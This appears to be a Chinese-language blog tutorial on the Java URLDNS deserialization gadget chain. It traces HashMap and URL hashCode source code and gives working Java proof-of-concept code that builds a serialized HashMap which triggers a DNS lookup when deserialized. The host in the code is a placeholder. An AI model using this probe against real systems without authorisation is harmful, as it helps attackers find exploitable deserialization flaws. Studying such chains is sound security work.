Java-URLDNS链
HashMap的put
查看HashMap这个类的put()
方法:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
调用了hash()
方法,跟进hash()
方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里调用了传入参数的hashCode()
方法。而URL
类中就有一个这样的方法:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
可以看到在该方法中,如果hashCode != -1
那么就会调用handler.hashCode(this)
,继续跟进:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
在这个方法中,InetAddress addr = getHostAddress(u);
这行代码就会根据URL来获取对应的IP地址,进而产生一个DNS解析。payload如下:
public static void main(String[] args) throws MalformedURLException {
HashMap map = new HashMap<>();
URL url = new URL("xxx");
map.put(url,"hi");
}
HashMap的readObject
该部分源码如下:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
可以看到这个自定义的反序列代码最后一行同样调用了hash()
方法,所以这里也可以产生DNS解析。payload:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class study2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap map = new HashMap<>();
URL url = new URL("xxx");
Class c = url.getClass();
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
// 将hashCode设置为222,否则put将产生一次DNS解析
fieldhashcode.set(url,222);
map.put(url,"hello");
// 在序列化前将url的hashCode设置为-1,这样在反序列化时就可以调用handler的hashCode
fieldhashcode.set(url,-1);
se(map);
HashMap map1 = (HashMap) unse();
}
public static void se(Object obj) throws IOException, ClassNotFoundException {
FileOutputStream fileOut = new FileOutputStream("bin.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
public static Object unse() throws IOException, ClassNotFoundException {
FileInputStream fileIn = new FileInputStream("bin.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Object obj = in.readObject();
in.close();
fileIn.close();
return obj;
}
}
总结
URLDNS虽然不能直接利用去产生一些危害,但是通常可以使用这条链去检测反序列化漏洞。原因就是因为这个链并不需要依赖第三方库,而且不需要回显。
根据两种方式的相同之处绘制出的流程图如下:
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 Cristrik010
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果